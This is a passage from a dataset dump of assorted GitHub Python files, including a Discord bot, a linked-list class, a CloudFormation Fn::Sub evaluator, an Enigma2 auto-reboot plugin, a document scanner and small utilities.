","repo_name":"elrion018/CS_study","sub_path":"beakjoon_PS/no10219.py","file_name":"no10219.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"98"} +{"seq_id":"34246048285","text":"\"\"\"Discord bot runs in the background and handles all requests to discord.\"\"\"\nfrom dataclasses import dataclass\nimport os\nimport logging\nimport json\nfrom include.tgfp import TGFP\nimport discord\n\nclient = discord.Client()\n\n\n@dataclass\nclass MessageData:\n \"\"\"This class will contain all the data necessary to send the message.\"\"\"\n game_id: str\n\n\nmessage_data = MessageData(game_id=\"\")\n\n\ndef embed_game_alert():\n \"\"\" Creates the embedded game alert message\n Returns:\n embed: discord Embed object\n \"\"\"\n tgfp = TGFP()\n game_id = message_data.game_id\n game = tgfp.find_games(game_id=game_id)[0]\n winning_team = game.winning_team\n losing_team = game.losing_team\n winning_players_string = \"\"\n losing_players_string = \"\"\n for player in tgfp.find_players(player_active=True):\n if player.this_weeks_picks() is None:\n break\n # if player.picked_winner_of_final_game(game_id):\n # bonus = player.lock_pick_points_final_game(game_id)\n # bonus += player.upset_pick_points_final_game(game_id)\n # winning_players_string += f\"{player.nick_name}\"\n # if bonus != 0:\n # winning_players_string += f\" ({bonus:+})\"\n # winning_players_string += \"\\n\"\n # else:\n # bonus = player.lock_pick_points_final_game(game_id)\n # losing_players_string += f\"{player.nick_name}\"\n # if bonus != 0:\n # losing_players_string += f\" ({bonus:+})\"\n # losing_players_string += \"\\n\"\n\n embed = discord.Embed(\n title=\"GAME ALERT\",\n description=f'''{winning_team.full_name} have defeated the {losing_team.full_name}\n by a score of {game.winning_team_score} - {game.losing_team_score}''',\n color=0x00ff00)\n embed.set_thumbnail(url=winning_team.logo_url)\n embed.add_field(name=\"Winners\", value=winning_players_string, inline=True)\n embed.add_field(name=\"Losers\", value=losing_players_string, inline=True)\n embed.set_footer(text=\"(+/-n) after name indicates bonus points\")\n return embed\n\n\n@client.event\nasync def on_ready():\n \"\"\" callback for when discord bot connects to the channel and is ready \"\"\"\n # guild: Guild\n # for guild in client.guilds:\n # if guild.name == config.DISCORD_GUILD\n # break\n # channel = None\n # for channel in guild.channels:\n # if channel.name == \"tgfp-bot-chat\":\n # break\n # await channel.send(embed=embed_game_alert())\n # logging.debug(\"Sent Game Alert\")\n # await client.close()\n\n\ndef alert_game_id_final(tgfp_game_id):\n \"\"\" called from an external program to send a game alert \"\"\"\n dirname = os.path.dirname(os.path.abspath(__file__))\n conf_path = os.path.normpath(os.path.join(dirname, '../conf/settings.json'))\n with open(conf_path, encoding='utf-8') as config_file:\n settings = json.load(config_file)\n log_dir = settings['config']['log_dir']\n logging.basicConfig(level=logging.INFO,\n format='%(asctime)s %(levelname)s %(message)s',\n filename=f\"{log_dir}/bot_send.log\",\n filemode='w')\n\n token = settings['discord']['token']\n message_data.game_id = tgfp_game_id\n logging.debug('Got a game alert request for game: %s', tgfp_game_id)\n client.run(token)\n","repo_name":"johnsturgeon/greatfootballpool","sub_path":"bin/discord/bot_sender.py","file_name":"bot_sender.py","file_ext":"py","file_size_in_byte":3334,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"98"} +{"seq_id":"70358644802","text":"class node:\n def __init__(self,value = None):\n self.payload = value\n self.next = None\n #None is same as null\n\nclass linkedList:\n def __init__(self, value = None):\n #keeps track of head and end while also keeps count of all the nodes\n if value == None:\n #if no initial value is given, pointers are null and count is set at 0\n self.head = None \n self.end = None\n self.count = 0\n else:\n #if value is given at initialization, both head and end point to initial node\n self.head = node(value)\n self.end = node(value)\n self.count = 1\n def addEnd(self, value):\n if self.head == None:\n self.head = self.end = node(value)\n self.count +=1\n else:\n current = node(value)\n self.end.next = current\n self.end = current\n self.count +=1\n\n def search(self, value, currentNode, parentNode, index = 1):\n #recursive search method, when node with matching value is found, its returned along with its node, parent and index\n if currentNode == None:\n return None\n elif currentNode.payload == value:\n results = {\n \"node\": currentNode,\n \"parent\": parentNode,\n \"index\": index\n }\n return results\n else:\n self.search(value, currentNode.next, currentNode, index + 1)\n \n def getIndex(self, index): #returns the node by its 'index', will eventually turn it into a recursive function\n currentNode = self.head\n for i in range(1,index):\n currentNode = currentNode.next\n return currentNode\n\n def printList(self):\n currentND = self.head\n for i in range(self.count):\n print(currentND.payload)\n currentND = currentND.next\n\n def removeIndex(self, value = None):\n #removes index\n if value is None or value <= 0:\n print(\"Invalid value\")\n else:\n if value == 1:\n self.head = self.head.next\n self.count -=1\n return\n priorND = None\n currentND = self.head\n for i in range(value-1):\n priorND = currentND\n currentND = currentND.next\n priorND.next = currentND.next\n self.count-=1\n\n def prePend(self, value, nodeVal): #prepends the node containing nodeVal in its payload with a node containing value\n #assumes no user error, assumes nodeVal is the same variable type\n parentNode = self.head\n currentNode = self.head\n if self.head.payload == nodeVal:\n NewNode = node(value)\n NewNode.next = self.head\n self.head = NewNode\n return\n while currentNode.payload != nodeVal:\n parentNode = currentNode\n currentNode = currentNode.next\n NewNode = node(value)\n NewNode.next = currentNode\n parentNode.next = NewNode\n return\n\n def postPend(self, value, nodeVal): #finds node with value nodeVal, and appends it as next on the list\n currentNode = self.head\n while currentNode.payload != nodeVal:\n currentNode = currentNode.next\n newNode = node(value)\n newNode.next = currentNode.next\n currentNode.next = newNode\n return\n\n def removeVal(self, nodeVal): #finds node with value nodeVal, and deletes it wihtout breaking the link to the rest of the nodes\n parentNode = self.head\n currentNode = self.head\n while currentNode.payload != nodeVal:\n parentNode = currentNode\n currentNode = currentNode.next\n parentNode.next = currentNode.next\n return\n \n def minToFront(self): #tracks four nodes, a current node and its parent \n minNode = self.head #and the current minNode and its parent containing the node being compared to\n minNodeParent = None\n\n currentNode = minNode.next\n currentNodeParent = minNode\n while currentNode.next != None:\n if minNode.payload > currentNode.payload:\n minNode = currentNode\n minNodeParent = currentNodeParent\n currentNodeParent = currentNode\n currentNode = currentNode.next\n currentNodeParent.next = currentNode.next\n currentNode.next = self.head\n self.head = currentNode\n return\n\n def findDup(self): #finds and deletes duplicated, using a currentNode which is used to push along a linear comperison \n currentNode = self.head\n while currentNode != None:\n duplicate = self.search(currentNode.payload, currentNode.next, currentNode) #uses a built in search that returns a dictionay\n if duplicate != None: #if a duplicate is found, duplicate will not be null\n self.removeIndex(duplicate[\"index\"]) #uses the removeIndex function\n else: #duplicate is null, no value was found, goes to next Node\n currentNode.next \n\n\n\n \n\n \n\n\n \n\n\n \n\n\n\n\n\n \n\n\n\n","repo_name":"jay0burgos/dataStruct","sub_path":"linkList.py","file_name":"linkList.py","file_ext":"py","file_size_in_byte":5209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"24447021244","text":"import setuptools\nfrom opmrun import __version__\n\nwith open(\"DESCRIPTION.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n #\n # Project Information\n #\n name='opmrun',\n version=__version__,\n author='David Baxendale',\n author_email='david.baxendale@eipc.co',\n maintainer='David Baxendale',\n maintainer_email='david.baxendale@eipc.co',\n description='OPMRUN a GUI for OPM Flow',\n long_description=long_description,\n long_description_content_type='text/markdown',\n url='https://github.com/OPM/opm-utilities/tree/master/opmrun',\n license='GNU General Public License Version 3, 29 June 2007',\n license_files='LICENSE.txt',\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: GNU General Public License, version 3 or later (GPLv3+)\",\n \"Operating System :: OS Independent\",\n ],\n #\n # Package Data and Requirements\n #\n python_requires='>=3.6',\n install_requires=['airspeed', 'numpy', 'pandas', 'psutil', 'pyDOE2', 'PySimpleGUI'],\n entry_points={\n 'gui_scripts': [\n 'opmrun=opmrun.opmrun:main'\n ],\n },\n packages=setuptools.find_packages(),\n)\n","repo_name":"OPM/opm-utilities","sub_path":"opmrun/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"98"} +{"seq_id":"73244654083","text":"import re\n\nfrom cfn_policy_validator.application_error import SchemaValidationError\nfrom cfn_policy_validator.cfn_tools import regex_patterns\nfrom cfn_policy_validator.cfn_tools.cfn_object import CfnObject\nfrom cfn_policy_validator.cfn_tools.common_schema import string_schema\nfrom cfn_policy_validator.cfn_tools.schema_validator import validate_schema\n\n\ndef validate_fn_sub_schema(value):\n\ttry:\n\t\tvalidate_schema(value, sub_schema, 'Fn::Sub')\n\texcept SchemaValidationError as e:\n\t\tif \"is not of type 'array'\" in str(e):\n\t\t\t# since GetAtt has multiple schemas, provide a custom error message that includes both schema options.\n\t\t\t# AnyOf just raises an arbitrary schema as an error.\n\t\t\traise SchemaValidationError(f\"{value} is not of type 'array or string', Path: Fn::Sub\")\n\t\telse:\n\t\t\traise\n\n\nclass SubEvaluator:\n\tdef __init__(self, ref_evaluator, get_att_evaluator, node_evaluator):\n\t\tself.get_att_evaluator = get_att_evaluator\n\t\tself.ref_evaluator = ref_evaluator\n\t\tself.node_evaluator = node_evaluator\n\n\tdef evaluate(self, value: CfnObject, visited_values: list = None):\n\t\tif visited_values is None:\n\t\t\tvisited_values = []\n\n\t\tvalidate_fn_sub_schema(value)\n\n\t\t# There are two ways or writing a Fn::Sub function, a list and a string\n\t\tif isinstance(value, list):\n\t\t\t# a Fn::Sub with a list value has a variable map\n\t\t\tstring_to_evaluate = value[0]\n\t\t\tvariable_mapping = value[1]\n\n\t\t\tvariables_in_string = re.findall(regex_patterns.fn_sub_variables, string_to_evaluate)\n\t\t\tfor variable_in_string in variables_in_string:\n\t\t\t\tvariable_value = variable_mapping.get(variable_in_string)\n\t\t\t\tif variable_value is not None:\n\t\t\t\t\tvariable_value = self.node_evaluator.eval_with_validation(variable_value, string_schema, visited_values=visited_values)\n\t\t\t\t\tstring_to_evaluate = string_to_evaluate.replace(\"${\" + variable_in_string + \"}\", variable_value)\n\t\t\t\telse:\n\t\t\t\t\t# this will throw if it can't find the variable anywhere\n\t\t\t\t\tstring_to_evaluate = self._evaluate_ref_or_get_att_in_sub(string_to_evaluate, variable_in_string, visited_values)\n\n\t\t\treturn string_to_evaluate\n\t\telse:\n\t\t\t# the sub is a string value\n\t\t\tvariables_in_string = re.findall(regex_patterns.fn_sub_variables, value)\n\t\t\tfor variable_in_string in variables_in_string:\n\t\t\t\tvalue = self._evaluate_ref_or_get_att_in_sub(value, variable_in_string, visited_values)\n\n\t\t\treturn value\n\n\tdef _evaluate_ref_or_get_att_in_sub(self, value, variable_in_string, visited_values):\n\t\tif '.' in variable_in_string:\n\t\t\t# e.g. variable is MyResource.Arn\n\t\t\tvariable_value = self.get_att_evaluator.evaluate(variable_in_string.split('.'), visited_values=visited_values)\n\t\telse:\n\t\t\t# e.g. variable is just MyResource\n\t\t\tvariable_value = self.ref_evaluator.evaluate(variable_in_string, visited_values=visited_values)\n\n\t\t# validate the evaluated value is a string\n\t\tvalidate_schema(variable_value, string_schema, 'Fn::Sub')\n\t\treturn value.replace(\"${\" + variable_in_string + \"}\", variable_value)\n\n\nsub_with_variable_map_schema = {\n\t\"type\": \"array\",\n\t\"items\": [\n\t\t{\"type\": \"string\"},\n\t\t{\"type\": \"object\"}\n\t],\n\t\"additionalItems\": False\n}\n\nsub_without_variable_map_schema = {\n\t\"type\": \"string\"\n}\n\n\nsub_schema = {\n\t\"anyOf\": [\n\t\tsub_with_variable_map_schema,\n\t\tsub_without_variable_map_schema\n\t]\n}\n","repo_name":"awslabs/aws-cloudformation-iam-policy-validator","sub_path":"cfn_policy_validator/parsers/utils/intrinsic_functions/fn_sub_evaluator.py","file_name":"fn_sub_evaluator.py","file_ext":"py","file_size_in_byte":3230,"program_lang":"python","lang":"en","doc_type":"code","stars":107,"dataset":"github-code","pt":"98"} +{"seq_id":"36116553285","text":"# coding=utf-8\n\nfrom __future__ import print_function, unicode_literals\nimport os\nimport time\nfrom cassandra.cluster import Cluster\nfrom cassandra.query import dict_factory, named_tuple_factory, ordered_dict_factory, tuple_factory\nfrom snippets_metadata_class import ClusterInfo\nfrom lib_timing import TMOD\nfrom lib_read_write import write_rows_tuples, write_rows_tuples_csv\n\n\n# il faut se connecter au bon cluster/DC pour ne pas avoir une erreur du type:\n# Unavailable: Error from server: code=1000 [Unavailable exception] message=\"Cannot achieve consistency level LOCAL_ONE\"\n# car le ks_view_search est sur tstdar05 et tstdar06\nTAG = '>>> '\nUSER_NAME = 'tstdar05'\nCLUSTER_NAME = 'ks_view_search'\nTABLE_NAME = 'solr_entreprise'\nNB_KEYS = 200000\n\n\ndef get_some_keys(a_session, cluster_name, table_name, col_names, limit=5, get_json=False):\n a_session.execute(' '.join(['USE', cluster_name]))\n cqjson = ['json'] if get_json else ['']\n cquery = ' '.join(['select'] + cqjson + [', '.join(col_names)] + ['from', table_name, 'limit', '{}'.format(limit)])\n print('query: {}'.format(cquery))\n rows = a_session.execute(cquery)\n return rows\n\n\n#\n#\nif __name__ == \"__main__\":\n\n # csv.register_dialect('csvdefault', delimiter=_delimiter, quoting=csv.QUOTE_NONE, lineterminator='\\n')\n\n # mesure de temps\n # chaque entree est\n # - soit une durée\n # - soit un OrderedDict() qui dont chaque entrée contient une durée\n tm = TMOD()\n\n # infos sur le cluster\n tm['ClusterInfo'] = time.clock()\n cluInfo = ClusterInfo(USER_NAME)\n tab_pk = cluInfo.get_tab_pk(CLUSTER_NAME, TABLE_NAME)\n tm['ClusterInfo'] = time.clock() - tm['ClusterInfo']\n\n # travail sur le cluster\n tm['Cluster'] = time.clock()\n cluster = Cluster([USER_NAME])\n tm['Cluster'] = time.clock() - tm['Cluster']\n tm['cluster.connect'] = time.clock()\n session = cluster.connect()\n tm['cluster.connect'] = time.clock() - tm['cluster.connect']\n\n print('Working DIR: {}'.format(os.getcwd()))\n PATH_ROOT = os.getcwd()\n if os.path.basename(os.getcwd()) != 'Cassandra':\n os.chdir(PATH_ROOT)\n\n # retour en named_tuple et écriture dans un fichier\n print(TAG + 'Select des pk de quelques lignes, retour dans un fichier')\n tm['USE ks_view_search'] = time.clock()\n session.execute('USE ks_view_search')\n tm['USE ks_view_search'] = time.clock() - tm['USE ks_view_search']\n session.row_factory = tuple_factory\n tm['get_some_keys'] = time.clock()\n rows = get_some_keys(session, CLUSTER_NAME, TABLE_NAME, tab_pk, limit=NB_KEYS)\n tm['get_some_keys'] = time.clock() - tm['get_some_keys']\n\n # sortie fichier\n tm['write_rows_tuples'] = TMOD()\n tm['write_rows_tuples'][TMOD.TOTAL] = time.clock()\n write_rows_tuples(''.join([TABLE_NAME, '_keys', '.csv']), rows, tm=tm['write_rows_tuples'])\n # write_rows_tuples_csv(''.join([TABLE_NAME, '_keys', '.csv']), _delimiter, rows)\n tm['write_rows_tuples'][TMOD.TOTAL] = time.clock() - tm['write_rows_tuples'][TMOD.TOTAL]\n\n cluster.shutdown()\n\n tm.human_readable()\n","repo_name":"ebarillot/Python2","sub_path":"Cassandra/pg_select_some_keys.py","file_name":"pg_select_some_keys.py","file_ext":"py","file_size_in_byte":3066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"72800257281","text":"import dataclasses\nimport enum\nimport functools\nimport inspect\nfrom functools import reduce\nfrom typing import Tuple, Union\n\n\n# taken from https://stackoverflow.com/questions/3589311/get-defining-class-of-unbound-method-object-in-python-3\ndef _get_class_that_defined_method(meth):\n if isinstance(meth, functools.partial):\n return _get_class_that_defined_method(meth.func)\n if inspect.ismethod(meth) or (\n inspect.isbuiltin(meth) and getattr(meth, '__self__', None) is not None and getattr(meth.__self__,\n '__class__', None)):\n for cls in inspect.getmro(meth.__self__.__class__):\n if meth.__name__ in cls.__dict__:\n return cls\n meth = getattr(meth, '__func__', meth) # fallback to __qualname__ parsing\n if inspect.isfunction(meth):\n cls = getattr(inspect.getmodule(meth),\n meth.__qualname__.split('.', 1)[0].rsplit('.', 1)[0],\n None)\n if isinstance(cls, type):\n return cls\n return getattr(meth, '__objclass__', None) # handle special descriptor objects\n\n\nclass Self(type):\n \"\"\"\n This class stands in for the type of the class being defined. Since decorators require evaluation\n before the defintion end of a class, you cannot use a class's type in the @accepts for one of its\n methods. Instead, you should use the type Self. This will be replaced by the class type at runtime.\n This does not make sense for unbound methods (free functions) or static methods and will raise an\n error if passed to such a function or method.\n\n Example:\n\n class Vector2D:\n def __init__(self, x, y, z):\n self.x = x\n self.y = y\n self.z = z\n\n @accepts(Self)\n def plus(self, other):\n self.x += other.x\n self.y += other.y\n self.z += other.z\n\n class State:\n registry = {}\n\n @classmethod\n @accepts((Self, str))\n def get(cls, s):\n if isinstance(s, State):\n return s\n else:\n if s not in registry:\n registry[s] = State(s)\n return registry[s]\n\n @accepts(str)\n def __init__(self, name):\n self.name = name\n \"\"\"\n pass\n\n\ndef _isiterable(t):\n try:\n i = iter(t)\n return True\n except TypeError:\n return False\n\n\n# from PEP 318 with heavy modifications\ndef accepts(*types: Union[type, Tuple[type]]):\n \"\"\"\n Provides a declaration and run-time check of the types accepted by a function or method\n\n Pass 1 type per argument or, if multiple types are acceptable, 1 tuple of types per argument (as used in isinstance)\n\n DO NOT PASS A TYPE FOR self OR cls parameters. The parameters 'self' and 'cls' are NEVER CHECKED by if they appear\n as the first parameter in a method.\n\n :param types: a splat of types or tuples of types to match 1 to 1 against the args to the function\n :return: a decorator which wraps a function and does a run time type check on all arguments against the types\n given EXCEPT for 'self' and 'cls' first args\n \"\"\"\n def check_accepts(f):\n is_bound = len(f.__code__.co_varnames) > 0 and (\n f.__code__.co_varnames[0] == 'self' or f.__code__.co_varnames[0] == 'cls')\n if is_bound:\n argcount = f.__code__.co_argcount - 1\n else:\n argcount = f.__code__.co_argcount\n assert len(types) == argcount, \"Not enough types for arg count, expected {} but got {}\".format(argcount,\n len(types))\n\n @functools.wraps(f)\n def new_f(*args, **kwds):\n if is_bound:\n for_args = args[1:] # drop self or cls\n else:\n for_args = args\n for (a, t) in zip(for_args, types):\n if _isiterable(t) and not isinstance(t, enum.EnumMeta):\n t = tuple([_get_class_that_defined_method(f) if i is Self else i for i in t])\n assert all(i is not None for i in t), \"Cannot accept Self on non-bound method {}\".format(f.__name__)\n else:\n t = _get_class_that_defined_method(f) if t is Self else t\n assert t is not None, \"Cannot accept Self on non-bound method {}\".format(f.__name__)\n assert isinstance(a, t), \"{}: got argument {} (type of {}) but expected argument of type(s) {}\".format(\n f.__name__, a, type(a), t)\n return f(*args, **kwds)\n\n return new_f\n\n return check_accepts\n\n\n# decorator function\ndef stringable(cls):\n def __str__(self):\n items = ['{}={}'.format(k, v) for (k, v) in self.__dict__.items()]\n items_string = ', '.join(items)\n return '{}[{}]'.format(self.__class__.__name__, items_string)\n\n setattr(cls, '__str__', __str__)\n setattr(cls, '__repr__', __str__)\n return cls\n\n\ndef equatable(cls):\n def __eq__(self, other):\n if type(other) is not type(self):\n return False\n pairs = zip(self.__dict__.values(), other.__dict__.values())\n return all([i[0] == i[1] for i in pairs])\n\n setattr(cls, '__eq__', __eq__)\n setattr(cls, '__hash__', None)\n return cls\n\n\ndef hashable(cls):\n cls = equatable(cls)\n\n def hasher(a, i):\n return ((a << 8) | (a >> 56)) ^ hash(i)\n\n def __hash__(self):\n for (name, value) in self.__dict__.items():\n if type(value).__hash__ is None:\n fmt_str = \"value of type {} can't be hashed because the field {}={} (type={}) is not hashable\"\n str_format = fmt_str.format(repr(cls.__name__), repr(name), repr(value), repr(type(value).__name__))\n raise TypeError(str_format)\n return super(cls, self).__hash__() ^ reduce(hasher, self.__dict__.values(), 0)\n\n setattr(cls, '__hash__', __hash__)\n return cls\n\n\n# decorator function\ndef dataclass(cls):\n cls = dataclasses.dataclass(cls, init=True, repr=True, eq=True, frozen=True)\n cls = stringable(cls)\n return cls\n","repo_name":"elunico/TuringMachine","sub_path":"python/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":6356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"978597750","text":"from Plugins.Plugin import PluginDescriptor\nfrom Components.ActionMap import ActionMap\nfrom Components.MenuList import MenuList\nfrom Screens.Screen import Screen\nfrom Components.Language import language\nfrom Tools.Directories import resolveFilename, SCOPE_LANGUAGE, SCOPE_PLUGINS, fileExists\nimport gettext\nimport os\n\nlang = language.getLanguage()\nos.environ[\"LANGUAGE\"] = lang[:2]\ngettext.bindtextdomain(\"enigma2\", resolveFilename(SCOPE_LANGUAGE))\ngettext.textdomain(\"enigma2\")\ngettext.bindtextdomain(\"Autoreboot\", \"%s%s\" % (resolveFilename(SCOPE_PLUGINS), \"SystemPlugins/Autoreboot/locale/\"))\n\ndef _(txt):\n\tt = gettext.dgettext(\"Autoreboot\", txt)\n\tif t == txt:\n\t\tt = gettext.gettext(txt)\n\treturn t\n\nclass Autoreboot(Screen):\n\tskin = \"\"\"\n\t\n\t\t\n\t\"\"\"\n\t\n\tdef __init__(self, session, args=None):\n\t\tScreen.__init__(self, session)\n\t\tself.session = session\n\t\tself.menu = args\n\t\tlist = []\n\t\tif fileExists(\"/etc/init.d/driver-et8000-fix\"):\n\t\t\tlist.append((_(\"Disable auto reboot\"), \"stop\"))\n\t\telse:\n\t\t\tlist.append((_(\"Enable auto reboot\"), \"start\"))\n\t\tself[\"menu\"] = MenuList(list)\n\t\tself[\"actions\"] = ActionMap([\"OkCancelActions\"], {\"ok\": self.run, \"cancel\": self.close}, -1)\n\t\tself.setTitle(_(\"Setup menu for et8000\"))\n\n\tdef run(self):\n\t\treturnValue = self[\"menu\"].l.getCurrentSelection()[1]\n\t\tif returnValue is not None:\n\t\t\tif returnValue == \"start\":\n\t\t\t\tself.setFile()\n\t\t\telif returnValue == \"stop\":\n\t\t\t\tself.removeFile()\n\n\tdef setFile(self):\n\t\tif not fileExists(\"/etc/init.d/driver-et8000-fix\"):\n\t\t\tos.system(\"cp /usr/lib/enigma2/python/Plugins/SystemPlugins/Autoreboot/driver-et8000-fix /etc/init.d/driver-et8000-fix\")\n\t\tif fileExists(\"/etc/init.d/driver-et8000-fix\"):\n\t\t\tos.chmod(\"/etc/init.d/driver-et8000-fix\", 0o755)\n# Start early, so S07 in rcS.d\n\t\t\tos.system(\"update-rc.d driver-et8000-fix start 07 S . stop 99 6 .\")\n\t\tself.close()\n\t\n\tdef removeFile(self):\n\t\tos.system(\"update-rc.d -f driver-et8000-fix remove\")\n\t\tos.system(\"rm -rf /etc/init.d/driver-et8000-fix\")\n\t\tself.close()\n\ndef open_setup(session, **kwargs):\n\tsession.open(Autoreboot)\n\ndef start_main(menuid, **kwargs):\n\tif menuid == \"system\":\n\t\treturn [(_(\"Auto reboot et8000\"), open_setup, \"autoreboot_setup\", None)]\n\telse:\n\t\treturn []\n\ndef Plugins(**kwargs):\n\tfrom os import path\n\tif path.exists(\"/proc/stb/info/boxtype\"):\n\t\ttry:\n\t\t\tboxtype = open(\"/proc/stb/info/boxtype\").read().strip()\n\t\texcept:\n\t\t\tboxtype = \"\"\n\t\tif boxtype.startswith(\"et8000\"):\n\t\t\treturn [PluginDescriptor(name = \"Auto reboot\", where = PluginDescriptor.WHERE_MENU, fnc = start_main)]\n\treturn []\n","repo_name":"original-birdman/autorebootET8000","sub_path":"src/usr/lib/enigma2/python/Plugins/SystemPlugins/Autoreboot/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":2699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"1866803468","text":"# Python file to scan documents which are fed to the program as images\n\n# Credits -> https://www.pyimagesearch.com/2014/09/01/build-kick-ass-mobile-document-scanner-just-5-minutes/\n\n# Steps Involved\n# 1. Edge Detection\n# 2. Fnding Contours\n # - Scanning a piece of paper\n # - A paper is assumed to be rectangle in shape\n # - Rectangle has 4 edges\n # - ASSUMPTION - Largest contour in the image with 4 points is indeed the paper\n# 3. Apply 4 point perspective transformation to obatin a bird's eye-view of the\n# document\n\n\n# Import Statements\nimport numpy as np\nimport cv2\nimport argparse\nimport imutils\nimport transform\nfrom skimage.filters import threshold_local\n\n# Global variable\n# This variable will be populated with the contour outline\n# paper = None\n\n# parse the user arguments\nap = argparse.ArgumentParser()\nap.add_argument(\"-i\", \"--image\", required=True, help=\"The image that needs to be scanned\")\n\nargs = vars(ap.parse_args())\n\n# PERFORM EDGE DETECTION(Use Canny Edge Detection method)\nimage = cv2.imread(args[\"image\"])\n\n# Resize the image to have a height of 500 pixels\nratio = image.shape[0] / 500.0\n\n# Keep a copy of the image\norig_image = image.copy()\n\n# Now resize the image\n# imutils.resize -will maintain the aspect ratio\nimage = imutils.resize(image, height=500)\n\n# Convert the image to grayscale\n# Apply Gaussian Blur to remove noise\n# Perform Canny edge detection\n\ngrayscale_img = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\ngrayscale_img = cv2.GaussianBlur(grayscale_img, (5, 5), 0)\nedges = cv2.Canny(grayscale_img, 75, 200)\n\ncv2.imshow(\"Original Image\", image)\ncv2.imshow(\"After Edge Detection\", edges)\n\n# Use findContours API\nim2, contours, hierarchy = cv2.findContours(edges.copy(),cv2.RETR_LIST,cv2.CHAIN_APPROX_SIMPLE)\n\n# Sort contours based on their area\n# We are assuming here that the contour with the maximum area is the paper itself\ncontours = sorted(contours, key = cv2.contourArea, reverse= True)[:5]\n\n# Iterate over these contours\nfor cont in contours:\n\n # Approximate the number of points in the contour\n # Use contour features\n perimeter = cv2.arcLength(cont, True)\n\n # approxPolyDP -> uses Douglas Peucker algorithm to approximate the shape\n # of the polygon\n approx = cv2.approxPolyDP(cont, 0.02 * perimeter, True)\n\n\n if len(approx) == 4:\n # Its a rectangle / square\n # means we have found the document in the image\n paper = approx\n break\n\n# Show the images\ncv2.drawContours(image, [paper], -1, (0, 255, 0), 2)\ncv2.imshow(\"Contour Outline\", image)\n\n\n\n# get the TO-DOWN view\n# pass the original image and the shape of the paper multiplied by the ratio\n\nwarped = transform.get_fourpoint_transform(orig_image, paper.reshape(4, 2) * ratio)\n\n# Convert the warped image and convert it to grayscale\nwarped = cv2.cvtColor(warped, cv2.COLOR_BGR2GRAY)\n\nwarped = cv2.adaptiveThreshold(warped, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 251, 11)\nwarped = imutils.resize(warped, height = 500)\n\n# Scanned image\ncv2.imshow(\"Scanned Image\", warped)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","repo_name":"AmitKulkarni23/OpenCV","sub_path":"Projects/PyImageSearch/DocumentScanner/document_scanner.py","file_name":"document_scanner.py","file_ext":"py","file_size_in_byte":3080,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"98"} +{"seq_id":"18753595916","text":"from user import open_, read, close, exit_\nfrom ulib import strchr\nfrom printf import printf\n\n\ndef wc(fd, name):\n l = 0\n w = 0\n c = 0\n inword = False\n \n # while((n = read(fd, buf, sizeof(buf))) > 0)\n while True:\n n, buf = read(fd, 512)\n if n <= 0:\n break\n \n for i in range(n):\n c += 1\n if buf[i] == \"\\n\":\n l += 1\n if strchr(\" \\r\\t\\n\\v\", buf[i]):\n inword = False\n elif not inword:\n w += 1\n inword = True\n \n if n < 0:\n printf(1, \"wc: read error\\n\")\n exit_(1)\n \n printf(1, \"%d %d %d %s\\n\", l, w, c, name)\n\n\ndef main(argc, argv):\n if argc <= 1:\n wc(0, \"\")\n exit_()\n \n for i in range(1, argc):\n fd = open_(argv[i], 0)\n if fd < 0:\n printf(1, \"wc: cannot open %s\\n\", argv[i]) # @@@ xv6 had 'cat' for 'wc'\n exit_()\n wc(fd, argv[i])\n close(fd)\n \n exit_()\n","repo_name":"jtauber/pyv6","sub_path":"pyv6/bin/wc.py","file_name":"wc.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"98"} +{"seq_id":"27201037886","text":"class Solution(object):\n def longestOnes(self, nums, k):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :rtype: int\n \"\"\"\n output, left = 0, 0\n for right in range(len(nums)):\n if nums[right] == 0:\n if k == 0:\n while nums[left] != 0 : left += 1\n left += 1\n else : k-= 1\n output = max(output, right - left + 1)\n return output\n","repo_name":"Abeni1/competitive-programming","sub_path":"Max Consecutive Ones III.py","file_name":"Max Consecutive Ones III.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"30120470653","text":"import pandas as pd\nimport numpy as np\nfrom scipy.cluster.hierarchy import dendrogram\nfrom os import listdir\nfrom os.path import isdir, join\nimport matplotlib.pyplot as plt\nimport random\nimport warnings\nwarnings.filterwarnings('ignore')\n\nfolders_upper = []\n\nwith open('prohibitive_restrictions.txt', 'r') as f:\n folders_upper.extend(f.readlines())\n\nwith open('aggregating_restrictions.txt', 'r') as f:\n folders_upper.extend(f.readlines())\n\nwith open('no_restrictions.txt', 'r') as f:\n folders_upper.extend(f.readlines())\n \nfolders_upper = [x.strip() for x in folders_upper]\n\nfolders_all = []\n\nfor fold in folders_upper:\n all_obj = listdir(fold)\n folders_cur = []\n for q in all_obj:\n if isdir(join(fold, q)):\n folders_cur.append(join(fold, q))\n if len(folders_cur) == 0:\n folders_cur.append(fold)\n folders_all.extend(folders_cur)\n \nnumber_of_colors = len(folders_all)\n\ncolor = [\"#\"+''.join([random.choice('0123456789ABCDEF') for j in range(6)])\n for i in range(number_of_colors)]\n\ntotal_data = pd.read_csv('clustering_results/total_data.csv', header=None)\nfilenames = total_data[0]\ntotal_data[0] = [0] + [np.nan] * (len(total_data) - 1)\n\nfolders_colors = 